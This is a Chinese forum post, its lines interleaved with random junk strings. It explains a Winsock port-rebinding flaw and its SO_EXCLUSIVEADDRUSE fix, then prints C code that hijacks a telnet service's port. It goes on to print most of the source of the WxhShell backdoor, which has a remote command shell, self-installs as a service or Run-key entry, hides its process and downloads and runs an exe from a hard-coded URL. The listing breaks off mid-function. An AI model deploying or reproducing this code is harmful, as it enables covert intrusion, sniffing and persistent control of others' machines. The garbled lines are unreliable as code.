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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *Zi%Q[0Me  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -o_T C  
tb0E?&M  
  saddr.sin_family = AF_INET; wYA/<0'yH  
HY4E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Pp_3 n yQ  
nb_^3K]r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5j,qAay9  
CS\tCw\Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 C 94@YWs  
Qc;[mxQe  
  这意味着什么?意味着可以进行如下的攻击: 9S%gVNxn  
o#P3lz  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n2 mw@Ay!  
ox_h9=$-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r.b6E%D  
7J;~ &x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +n[wkgFd  
n u8j_grW  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q#&#*6 )B  
}t2pIkF;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 IZ0$=aB7  
En9]x"_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \TB%N1^  
5^K#Tj ;2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fq'Xy9L  
Om2X>/V%C  
  #include _P<lG[V  
  #include KWJgW{{v  
  #include M`P]cX)x  
  #include    OawrS{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (}X?v`Y^W  
  int main() N>fYH.c3Y  
  { r!$NZ2I  
  WORD wVersionRequested; 'e>sHL  
  DWORD ret; cNo4UZvr  
  WSADATA wsaData; -;)SER3Wq4  
  BOOL val; 46Q; F  
  SOCKADDR_IN saddr; s#4ew}  
  SOCKADDR_IN scaddr; Zng` oFD  
  int err; iQ!  
  SOCKET s; z8(R.TB  
  SOCKET sc; y)/$ge _U  
  int caddsize; @'r`(o3z!Z  
  HANDLE mt; Ui |a}`c  
  DWORD tid;   Z ;y}gv/ {  
  wVersionRequested = MAKEWORD( 2, 2 ); bepYeT  
  err = WSAStartup( wVersionRequested, &wsaData ); 3{4/7D cX  
  if ( err != 0 ) { ]Ec[")"kT  
  printf("error!WSAStartup failed!\n"); I0HY#z%  
  return -1; *_<*bhR<  
  } gn W~KLqH  
  saddr.sin_family = AF_INET; >?9 WeXG  
   q 9brpbg_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 FPMSaN P  
2Z`$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U aj`  
  saddr.sin_port = htons(23); Ac!&j=ZE  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) + %#MrNM'  
  { \8*,&ak%  
  printf("error!socket failed!\n"); jqGo-C~  
  return -1; 0"^oTmQN  
  } aT1CpY=T|.  
  val = TRUE; ah/6;,T  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Hx2j=Q_dw  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n E,gQHw  
  { 6Sb'Otw.  
  printf("error!setsockopt failed!\n"); bj7MzlGFy  
  return -1; ]EM)_:tRf  
  } UiK+c30FU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *lerPY3 q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^[seK)S=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r$r&4d Y  
k~jKJb-_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) L_gsG|xX  
  { aC,vh1")F  
  ret=GetLastError(); < k+fKl  
  printf("error!bind failed!\n"); e.}3OK  
  return -1; *mQDS.'AB@  
  } RC8)f8n  
  listen(s,2); QFNz9c  
  while(1) ^?6 W<  
  { t$y&=v  
  caddsize = sizeof(scaddr); q3x;_y^  
  //接受连接请求 lNaez3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ie2w0Cs28  
  if(sc!=INVALID_SOCKET) .hQ3A"  
  { =tf@4_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [)H,zpl  
  if(mt==NULL) Vgqvvq<S  
  { Y-%l7GErhL  
  printf("Thread Creat Failed!\n"); xV,4U/ T  
  break; c#n4zdQd]5  
  } Y*kh$E%<#  
  } qXU:A-IdIl  
  CloseHandle(mt); Pv7f _hw  
  } -y l4tW  
  closesocket(s); 3%[)!zKv  
  WSACleanup(); miG; ]-"^  
  return 0; -; us12SZ  
  }   z^P* :  
  DWORD WINAPI ClientThread(LPVOID lpParam) {(M&-~Yh  
  { ~Q_)>|R2  
  SOCKET ss = (SOCKET)lpParam; *X=@yB*aK  
  SOCKET sc; L,L ~ .E  
  unsigned char buf[4096]; r;cI}'  
  SOCKADDR_IN saddr; 0H OoKh  
  long num; Ko$ $dkSE  
  DWORD val; o5=)~D{/G3  
  DWORD ret; NoJnchiU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 uG=t?C6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^ J#?hHz  
  saddr.sin_family = AF_INET; ;/?Z<[B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); FI?gT  
  saddr.sin_port = htons(23); %Ye)8+-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b:FEp'ZS  
  { yfM>8"h@  
  printf("error!socket failed!\n"); `'xQ6Sy  
  return -1; B?$01?9V  
  } 6z9R1&~%  
  val = 100; ;}n9y ci#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u#41osUVW>  
  { <}28=d  
  ret = GetLastError(); K-2o9No?j`  
  return -1; vs\'1^*D  
  } KFTf~!|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _[}G(<  
  { %w'/n>]j  
  ret = GetLastError(); aPD?Bh>JU  
  return -1; $f<eq7rRe  
  } a1 4 6kq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) m4P hn~>Gg  
  {  3}>:  
  printf("error!socket connect failed!\n"); L _vblUDq  
  closesocket(sc); 'DCKD4@C/  
  closesocket(ss); }b_R5U$@@  
  return -1; c!\.[2n  
  } jw/'*e  
  while(1) qs6Nb'JvQR  
  { 935-{h@k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?(5o@Xq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U6c)"^\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gt =j5  
  num = recv(ss,buf,4096,0); pau*kMu^}  
  if(num>0) tJUVw=  
  send(sc,buf,num,0); {E3xI2  
  else if(num==0) <O \tC81  
  break; 6Gs{nFw  
  num = recv(sc,buf,4096,0); ]regi- LGU  
  if(num>0) L!bfh`  
  send(ss,buf,num,0); =oo[ Eyr  
  else if(num==0) $R A4U<  
  break; tt+>8rxF:;  
  } Z"6 2#VM  
  closesocket(ss); cr76cYq"Q  
  closesocket(sc); dV5PhP>6  
  return 0 ; `Mg8]H~  
  } cJxW;WI!,  
]LEoOdDN"C  
6uu^A9x  
========================================================== 7))y}N:p  
Q=d.y&4%  
下边附上一个代码,,WXhSHELL  EX[B/YH  
4=u+ozCG  
========================================================== '8s>rH5[V  
+mJ :PAy4  
#include "stdafx.h" = E&b=  
bH'S.RWp=  
#include <stdio.h> ?r{TOj n  
#include <string.h> 4^0d)+Ff  
#include <windows.h> w+t#Yb\7  
#include <winsock2.h> 7V~ "x&Eu  
#include <winsvc.h> `%$8cZ-kr  
#include <urlmon.h> _R EqT  
GxYW4b  
#pragma comment (lib, "Ws2_32.lib") Z7JKaP9{:  
#pragma comment (lib, "urlmon.lib") Of-C  
Gx.P ]O3  
#define MAX_USER   100 // 最大客户端连接数 O4m(Er@a  
#define BUF_SOCK   200 // sock buffer L/Hv4={  
#define KEY_BUFF   255 // 输入 buffer "/Y<G  
4cott^K.  
#define REBOOT     0   // 重启 J6*f Uh  
#define SHUTDOWN   1   // 关机 DW1@<X  
<(fdHQD!7>  
#define DEF_PORT   5000 // 监听端口 Xl#Dw bx  
TG1P=g5h  
#define REG_LEN     16   // 注册表键长度 Ba/RO36&c  
#define SVC_LEN     80   // NT服务名长度 6X dWm  
bRWIDPh  
// 从dll定义API 8V6=i'GK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A[RHw<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p`d XqW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lwVk(l Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2$M,*Dnr  
Y^ QKp"  
// wxhshell配置信息 As0 B\  
struct WSCFG { d'ZS;l   
  int ws_port;         // 监听端口 Tak t_N  
  char ws_passstr[REG_LEN]; // 口令 N5m'To]  
  int ws_autoins;       // 安装标记, 1=yes 0=no (VR" Mi4  
  char ws_regname[REG_LEN]; // 注册表键名 G;/Q>V  
  char ws_svcname[REG_LEN]; // 服务名 YnSbw3U.I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5QAdcEcN@O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G@9u:\[l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5B1G?`]?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NeHx2m+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >L8?=>>?\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 os[ZIHph  
L~IE,4  
}; uM<|@`&b  
O#vn)+Y,*  
// default Wxhshell configuration q%>7L<r  
struct WSCFG wscfg={DEF_PORT, @|BD|{k  
    "xuhuanlingzhe", GMz8B-vk  
    1, PkTf JQP8  
    "Wxhshell", [cDbaq,T  
    "Wxhshell", b\:~;  
            "WxhShell Service", H#35@HF*o  
    "Wrsky Windows CmdShell Service", 3 -tO;GKb  
    "Please Input Your Password: ", :V-k'hm &  
  1, {-HDkG' 8  
  "http://www.wrsky.com/wxhshell.exe", 0E-pA3M6  
  "Wxhshell.exe" kQLT$8io  
    }; ^00{Hd6  
'f*O#&?  
// 消息定义模块 fuMN"T 6%+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T tPr)F|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #: #Dz.$L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6a*83G,k  
char *msg_ws_ext="\n\rExit."; RwW$O@0  
char *msg_ws_end="\n\rQuit."; J@QdieW6  
char *msg_ws_boot="\n\rReboot..."; :s"2Da3B  
char *msg_ws_poff="\n\rShutdown..."; wZ jlHe  
char *msg_ws_down="\n\rSave to "; 'G8 ?'u_)  
,HZYG4,  
char *msg_ws_err="\n\rErr!"; za T_d/?J  
char *msg_ws_ok="\n\rOK!"; sm   
)|pU.K9qZ  
char ExeFile[MAX_PATH]; jJia.#.Ze  
int nUser = 0; qz`rL#W]  
HANDLE handles[MAX_USER]; Q/py qe G  
int OsIsNt; qEQAn/&  
b,Ke>.m  
SERVICE_STATUS       serviceStatus; } ~F~hf>s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^LVk5l)\>g  
Umz05*  
// 函数声明 y@3Q;~l,  
int Install(void); L6+C]t}>6  
int Uninstall(void); 9/@ &*  
int DownloadFile(char *sURL, SOCKET wsh); C',6%6P  
int Boot(int flag); [/cIUQ  
void HideProc(void); .xl.P7@JJ  
int GetOsVer(void); i6Qb[\;  
int Wxhshell(SOCKET wsl); T#@{G,N  
void TalkWithClient(void *cs); H@D;e  
int CmdShell(SOCKET sock); (~&w-w3  
int StartFromService(void); BqB |Fo  
int StartWxhshell(LPSTR lpCmdLine); :H?f*aw  
\lEkfcc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zb:kanb-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W pN.]x  
& fu z2xv  
// 数据结构和表定义 {E51Kv&_  
SERVICE_TABLE_ENTRY DispatchTable[] = k][h9'  
{ 2Lfah?Tx~C  
{wscfg.ws_svcname, NTServiceMain}, fQU{SjG  
{NULL, NULL} tuxRVV8l  
}; v L}T~_=3  
tuLH}tkNY  
// 自我安装 u1^\MVO8  
int Install(void) ?YBaO,G9o  
{ ]g,lRG  
  char svExeFile[MAX_PATH]; J\=a gQ  
  HKEY key; Pu;yEh  
  strcpy(svExeFile,ExeFile); L^FcS\r;  
t'g^W  
// 如果是win9x系统,修改注册表设为自启动 ;iU%Kt  
if(!OsIsNt) { % 5z gd>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DnFjEP^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XA{F:%  
  RegCloseKey(key); ` 1+%}}!$u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VRbQdiZ{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [b/o$zR  
  RegCloseKey(key); =7 w>wW-  
  return 0; V_"f|[1  
    } !D:Jbt@R<n  
  } dZ]Rqr _!  
} %dW%o{  
else { ,mKObMu  
"3}<8 c  
// 如果是NT以上系统,安装为系统服务 TH4\HY9qa?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -V5w]F'  
if (schSCManager!=0) 68e[:wf  
{ [T^?Q%h  
  SC_HANDLE schService = CreateService F*` t"7Lm  
  ( &| !B!eOY  
  schSCManager, iZxt/}1X0  
  wscfg.ws_svcname, 1nI^-aQ3  
  wscfg.ws_svcdisp, 3^wC<ZXcD  
  SERVICE_ALL_ACCESS, M0w/wt|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {C")#m-0  
  SERVICE_AUTO_START, r N5tI.iC  
  SERVICE_ERROR_NORMAL, E\M-k\cSj  
  svExeFile, BBnq_w"a  
  NULL, @i LIU}+  
  NULL, +,5-qm)Gh>  
  NULL, % frfSGf.#  
  NULL, HB iBv-=,  
  NULL ho.(v;  
  ); ~L{l+jK$p  
  if (schService!=0) VkZ.6kV  
  { 5 1dSFr<#  
  CloseServiceHandle(schService); `1+F,&e  
  CloseServiceHandle(schSCManager); _<*Hv*Zm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2K{6iw"h  
  strcat(svExeFile,wscfg.ws_svcname); uMmXs% 9T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JOD/Raq.1k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I g \#f  
  RegCloseKey(key); E[g*O5  
  return 0; L/Vx~r`P  
    } vH[Pb#f-  
  }  {mTytT  
  CloseServiceHandle(schSCManager); 7L3ik;>  
} ;Ii1B{W  
} [6tSYUZs  
%j+xgX/&  
return 1; )T|L,Lp  
} %J~WC$=Qv  
.`p&ATg v  
// 自我卸载 [L(h G a  
int Uninstall(void) 7%;_kFRV  
{ -VT+O+9_A  
  HKEY key; u:dx;*  
d@ J a}`  
if(!OsIsNt) { |E3X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :/N+;- 18  
  RegDeleteValue(key,wscfg.ws_regname); /*rhtrS)  
  RegCloseKey(key); QHlU|dR)Ry  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 09h.1/  
  RegDeleteValue(key,wscfg.ws_regname); _[h8P9YI4  
  RegCloseKey(key); Z(GfK0vU  
  return 0; GTl xq%?b  
  } w$fJ4+  
} !3 qVB  
} =#xK=pRy;  
else { e0HfP v_  
 QLKK.]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HM9fjl[  
if (schSCManager!=0) ej(ikj~j  
{ ~E5z"o6$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D Ml?o:l  
  if (schService!=0) >m6&bfy\q  
  { y 1\'( 1  
  if(DeleteService(schService)!=0) {  Mps5Vv  
  CloseServiceHandle(schService); =^;P#kX  
  CloseServiceHandle(schSCManager); 5h{`<W  
  return 0; +-$Ko fnM  
  } h6D^G5i  
  CloseServiceHandle(schService); 19UN*g3(  
  } y1f:?L-z  
  CloseServiceHandle(schSCManager); 1;F`c`0<  
} vVxD!EL  
} s1j{x&OSq  
gVR@&bi7  
return 1; v|';!p|  
} ^Q}eatEn  
#UP~iHbt\  
// 从指定url下载文件 Ond'R'3\E  
int DownloadFile(char *sURL, SOCKET wsh) &[[K"aM1  
{ N.do "  
  HRESULT hr; j+IrqPKC^  
char seps[]= "/"; &qM[g 9  
char *token; gABr@>Vv  
char *file; {y)s.b~JB  
char myURL[MAX_PATH]; K`-!uZW:B7  
char myFILE[MAX_PATH]; 9&]M**X  
F>hZ{   
strcpy(myURL,sURL); 0Q5^C!K  
  token=strtok(myURL,seps); yYZxLJ='  
  while(token!=NULL) x.mrCJn)  
  { cmwPuK$  
    file=token; TFQ!7'xk)  
  token=strtok(NULL,seps); 1GCzyBSbb  
  } 1fU,5+PH  
iEyeX0nm  
GetCurrentDirectory(MAX_PATH,myFILE); Cfu=u *u  
strcat(myFILE, "\\"); qoMfSz"(  
strcat(myFILE, file); V@-)\RZm  
  send(wsh,myFILE,strlen(myFILE),0); ;3eKqr0  
send(wsh,"...",3,0); )?! [}t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KvFMs\o6p  
  if(hr==S_OK) ~a9W3b4j  
return 0; T1WWK'  
else *iA4:EIP  
return 1; ]e?x# <S  
-V.d?A4"  
} !D^c3d  
f9$xk|2g  
// 系统电源模块 +j14Q$  
int Boot(int flag)  l! bv^  
{ i]{1^pKq  
  HANDLE hToken; (5L-G{4  
  TOKEN_PRIVILEGES tkp; kS5_&#  
:iWS\G^ U  
  if(OsIsNt) { fh8j2S9J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s"KJiQKGM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ),:c+~@@kT  
    tkp.PrivilegeCount = 1; Gbpw5n;e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rZXrT}Xh{W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2S[-$9  
if(flag==REBOOT) { 5Qwh(C^H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AM"jX"F9/  
  return 0; ENVk{QE!  
} qy1F* kY  
else { &<TzG B*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O Wp%v_y]  
  return 0; B5%n(,Lx  
} 72uz<i!&$  
  } {V19Zv"j  
  else { #SVNHpx  
if(flag==REBOOT) { T=f|,sK +7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CG\tQbum  
  return 0; CK+d!Eg  
} K kW;-{c  
else { {=2DqkTD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G.Vu KsP]  
  return 0; f_^1J  
} m0w;8uF2UV  
}  D1 Z{W  
B<?[Mrdxw  
return 1; D B526O* [  
} 6Q&r0>^{  
2| iV,uJ&  
// win9x进程隐藏模块 \2-@'^i  
void HideProc(void) N;oQ^B'  
{ xiF7}]d+  
AI vXb\wL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1+;C`bnA  
  if ( hKernel != NULL ) Xl7aGlH  
  { M,5j5<7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d$ACDX2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g1E~+@  
    FreeLibrary(hKernel); A5:qKaAq  
  } BaF!O5M  
f"u *D,/sS  
return; <:>SGSE9  
} &GTI  
3f Xv4R;!:  
// 获取操作系统版本 \`V$ 'B{.  
int GetOsVer(void) '7Nr8D4L  
{ Y/<lWbj*A  
  OSVERSIONINFO winfo; '+>fFM,*B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F7L&=K$2y  
  GetVersionEx(&winfo); d6{Gt"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f*{ YFg?*&  
  return 1; sxKf&p;  
  else ?^mi3VM  
  return 0; `nXVE+E@  
} /^{BUo  
7\z ZpPDV  
// 客户端句柄模块 c\6+=\  
int Wxhshell(SOCKET wsl)  9fnA  
{ YYEJph@06q  
  SOCKET wsh; %=AxJp!a  
  struct sockaddr_in client; qSqI7ptA\  
  DWORD myID; , ^F)L|  
GDhE[of  
  while(nUser<MAX_USER) }eQRN<}P  
{ 9//+Bh  
  int nSize=sizeof(client); W%2 80\h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V=He_9B  
  if(wsh==INVALID_SOCKET) return 1;  XY.5Rno4  
@RFs/'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Qp"y?S  
if(handles[nUser]==0) 4to% `)]  
  closesocket(wsh); Xv <G-N4  
else N..j{FE  
  nUser++; /yz=Cjoz  
  } UtB6V)YI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =(a1+. O  
m=AqV:%|  
  return 0; X{n- N5*  
} (`>voi<^  
UX3BeUi.)  
// 关闭 socket ;@,Q&B2eM  
void CloseIt(SOCKET wsh) 07Gv*.  
{ w;}@'GgL  
closesocket(wsh); `~eX55W  
nUser--; h)1qp Qj  
ExitThread(0); c^rOImZ  
} 9=w|)p )  
+uWDP .  
// 客户端请求句柄 "'8KV\/D  
void TalkWithClient(void *cs) v%k9M{  
{ N"/-0(9[  
8zLY6@  
  SOCKET wsh=(SOCKET)cs; !Fw?H3X!"q  
  char pwd[SVC_LEN]; KfBTL!0#  
  char cmd[KEY_BUFF]; _rV5E  
char chr[1]; S-31-Zjw  
int i,j; >-_d CNZ  
id<:p*  
  while (nUser < MAX_USER) { BR^7_q4q  
7"7rmZ   
if(wscfg.ws_passstr) { cYx4~V^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^_5L"F]sP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ihh4pD27g  
  //ZeroMemory(pwd,KEY_BUFF); /( .6bv  
      i=0; ;!91^Tl  
  while(i<SVC_LEN) { k4qp u=@U  
\Gm-MpW  
  // 设置超时 %p^.\ch9  
  fd_set FdRead; 9jN)I(^D6  
  struct timeval TimeOut; R(P%Csbqh  
  FD_ZERO(&FdRead); J$4wL F3  
  FD_SET(wsh,&FdRead); H/M Au7  
  TimeOut.tv_sec=8; Z3k(P  
  TimeOut.tv_usec=0; T5Q{{@Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'Y$R~e^Y?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `c/*H29  
Y+4o B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8ul&x~2;X  
  pwd=chr[0]; ;!o]wHmA  
  if(chr[0]==0xd || chr[0]==0xa) { *5zrZ]^  
  pwd=0; e *(b  
  break; Tu{h<Zy  
  } )!g{Sbl  
  i++; EF pIp4_Y  
    } #-3=o6DCK  
"'g[1Li  
  // 如果是非法用户,关闭 socket J};z85B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2<&Bw2  
} uE[(cko  
OmM=o*d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +\li*G]:J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #`GY}-hL!  
!R*-R.%  
while(1) { Q^p|Ldj  
h/x0]@M&  
  ZeroMemory(cmd,KEY_BUFF); @i^~0A#q*  
p^(&qk?ut  
      // 自动支持客户端 telnet标准   Hk>79};  
  j=0; 2=?tJ2E  
  while(j<KEY_BUFF) { ^:9$@ +a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `cx]e  
  cmd[j]=chr[0]; $?,a[79  
  if(chr[0]==0xa || chr[0]==0xd) { Tirux ;  
  cmd[j]=0; Xh J,"=E+  
  break; 5TBp'7 /s~  
  } K"<PGOF  
  j++; <Sz52Suh>  
    } h' !imQ  
0y<wvLv2C  
  // 下载文件 Q'k\8'x  
  if(strstr(cmd,"http://")) { [4fU+D2\d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iK?b~Q  
  if(DownloadFile(cmd,wsh)) i,13b e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J5h+s-'  
  else &V|>dLT>A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5Z4- Z  
  } |QV!-LK  
  else { jjJ2>3avY  
0!z@2[Pe66  
    switch(cmd[0]) { 0Ok,oW {  
  Qb8KPpd  
  // 帮助 ZVeaTK4_ t  
  case '?': { ZoKcJA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~&\ f|%  
    break; H+ h07\? %  
  } x8;`i$  
  // 安装 '0$?h9"  
  case 'i': { &V>fYgui  
    if(Install()) yr#5k`&\_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AmwWH7,g  
    else G/%iu;7ZCb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .I}:m%zv  
    break; JbB}y'c4}=  
    } ' qdPw%d  
  // 卸载 E~<`/s  
  case 'r': { IrMl:+t\  
    if(Uninstall()) RE.r4uOJg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uxg9yp@|  
    else X0 -IRJ[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dD<fn9t  
    break; TO2c"7td  
    } Mg#j3W}]  
  // 显示 wxhshell 所在路径 2MA]jT  
  case 'p': { 9w9jpe#  
    char svExeFile[MAX_PATH]; )otb>w5  
    strcpy(svExeFile,"\n\r"); qS&%!  
      strcat(svExeFile,ExeFile); r_EcMIuk  
        send(wsh,svExeFile,strlen(svExeFile),0); fw oQ' &  
    break; 8A{_GH{:  
    } qyHZ M}/  
  // 重启 nUq<TJ  
  case 'b': { [![%9'+P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c*d 9'}E  
    if(Boot(REBOOT)) 3:%QB9qc]'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j@Qg0F  
    else { &R~n>>c  
    closesocket(wsh); EBtLzbj  
    ExitThread(0); yfU<UQ!1  
    } Yxv9  
    break; = 07Gy,=i  
    } (;VVC Aoy  
